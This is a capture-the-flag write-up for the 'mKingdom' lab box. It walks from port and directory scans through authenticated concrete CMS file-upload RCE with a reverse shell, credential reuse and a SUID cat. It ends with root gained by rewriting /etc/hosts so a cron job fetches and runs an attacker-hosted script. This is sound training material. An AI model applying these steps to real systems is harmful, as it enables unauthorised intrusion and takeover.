mKingdom
Beginner-friendly box inspired by a certain mustache man.
Recon
Let's start with a nmap scan. We can see only one open port: 85
. We are dealing with an Apache httpd 2.4.7
web server. The title suggests defacing has happened.
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ nmap -p- mkingdom.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 06:32 BST
Nmap scan report for mkingdom.thm (10.10.229.74)
Host is up (0.15s latency).
Not shown: 65534 closed tcp ports (conn-refused)
PORT STATE SERVICE
85/tcp open mit-ml-dev
Nmap done: 1 IP address (1 host up) scanned in 147.61 seconds
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ nmap -sC -sV -p 85 mkingdom.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-18 06:59 BST
Nmap scan report for mkingdom.thm (10.10.229.74)
Host is up (0.16s latency).
PORT STATE SERVICE VERSION
85/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: 0H N0! PWN3D 4G4IN
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.85 seconds
Visiting the site we are greeting with the picture of Bowser the famous villain from Mario.

We enumerate with Gobuster.
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ gobuster dir -u http://mkingdom.thm:85/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://mkingdom.thm:85/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 288]
/.htpasswd (Status: 403) [Size: 288]
/app (Status: 301) [Size: 312] [--> http://mkingdom.thm:85/app/]
/server-status (Status: 403) [Size: 292]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
Manually and with Gobuster we reach a blog at endpoint /app/castle
.

There is only one blog post.

We see that the CMS concrete is being used. In the source, we also find the version used: 8.5.2
. This is vulnerable to authenticated remote code execution.

This vulnerability is explained step-by-step in the following post. The requirement here is to be in possession of admin credentials, as this allows you to modify upload restrictions by adding file types and then uploading and triggering a PHP reverse shell.
Initial Access
We know about the possible entry point through authenticated RCE, but still need credentials.
We can log in with the username admin
and a very password that starts with p
.

We are able to log in and access the admin dashboard available.

Select System & Settings
, then Allowed File Type
.

Next, add php
, separated by a comma, and save the changes.

We can use the reverse shell from PentestMonkey.
To upload files, we simply drag them into the File Manager
at /app/castle/dashboard/files/search
. We get the URL to access the file. Before we do that, we set up a listener on our chosen port

Next, we visit the link presented.
http://mkingdom.thm:85/app/castle/application/files/6917/1869/6840/rs.php
We get a connection from our reverse shell as www-data
. Unfortunately, we won't find the user flag here. We have to move laterally. By inspection /etc/passwd
we find two users, toad
and mario
.

We run linpeas.sh
and discover that cat
is a SUID binary owned by the user toad
. This means that running cat
as a different user will execute the binary with toad's privileges.
$ netstat -tulnp
(Not all processes could be identified, non-owned process info
will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:631 0.0.0.0:* LISTEN -
tcp6 0 0 :::85 :::* LISTEN -
tcp6 0 0 ::1:631 :::* LISTEN -
udp 0 0 0.0.0.0:5353 0.0.0.0:* -
udp 0 0 0.0.0.0:53109 0.0.0.0:* -
udp 0 0 0.0.0.0:68 0.0.0.0:* -
udp 0 0 0.0.0.0:43628 0.0.0.0:* -
udp 0 0 0.0.0.0:631 0.0.0.0:* -
udp6 0 0 :::5353 :::* -
udp6 0 0 :::33649 :::* -
udp6 0 0 :::46215 :::* -
MySQL is running internally. Maybe we can retrieve some credentials from the web app.
By examining the configuration files, we can find the database credentials. Although exploring the database might not reveal any new users, it's worth checking if the same credentials are being reused elsewhere.

We are able to switch users for toad.

While enumerating the target manually, we find a strange password token in the env
variable encoded in base 64.

We can decode it and switch to mario

Here we find the first flag, and we can't read the flag, because of the SUID bit set. We look for another copy of cat on the machine and find one at /usr/lib/klibc/cat
, With that, we can read the last flag.
Privilege Escalation
We upload and run pspy64 on the machine to discover processes running in the background.
mario@mkingdom:~$ wget http://10.17.15.155/pspy64
--2024-06-18 03:20:35-- http://10.17.15.155/pspy64
Connecting to 10.17.15.155:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
100%[======================================>] 3,104,768 1.88MB/s in 1.6s
2024-06-18 03:20:37 (1.88 MB/s) - ‘pspy64’ saved [3104768/3104768]
mario@mkingdom:~$ ls
Desktop Downloads Pictures Public user.txt
Documents Music pspy64 Templates Videos
mario@mkingdom:~$ chmod +x pspy64
mario@mkingdom:~$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2024/06/18 03:21:00 CMD: UID=1001 PID=31375 | ./pspy64
Here we find a cronjob that uses cURL to download a script at mkingdom.thm
and execute it. If we are somehow able to write to /etc/host
, we can uplaod a malicious script that executes a reverse shell for us.

We can confirm that we are able to write to /etc/hosts
as mario

With nano or vi we can update the /etc/hosts
and replace the existing IP for mkingdom.thm
with our own IP address
Next, we create the folder structure, create the script, place it in the correct location, and set up a web server on port 85 using Python. Besides this, a listener is running on our desired port.
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mkdir app
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mkdir app/castle
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mkdir app/castle/application
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ ls
app
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ nano counter.sh
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ mv counter.sh app/castle/application/counter.sh
┌──(kali㉿kali)-[~/Desktop/THM/mKingdom]
└─$ python3 -m http.server 85
Serving HTTP on 0.0.0.0 port 85 (http://0.0.0.0:85/) ...
10.10.229.74 - - [18/Jun/2024 08:36:03] "GET /app/castle/application/counter.sh HTTP/1.1" 200 -
After a some time, the script gets downloaded.
We get a reverse shell connection back as root. We can read the flag in the home directory of root using cat
.


Last updated
Was this helpful?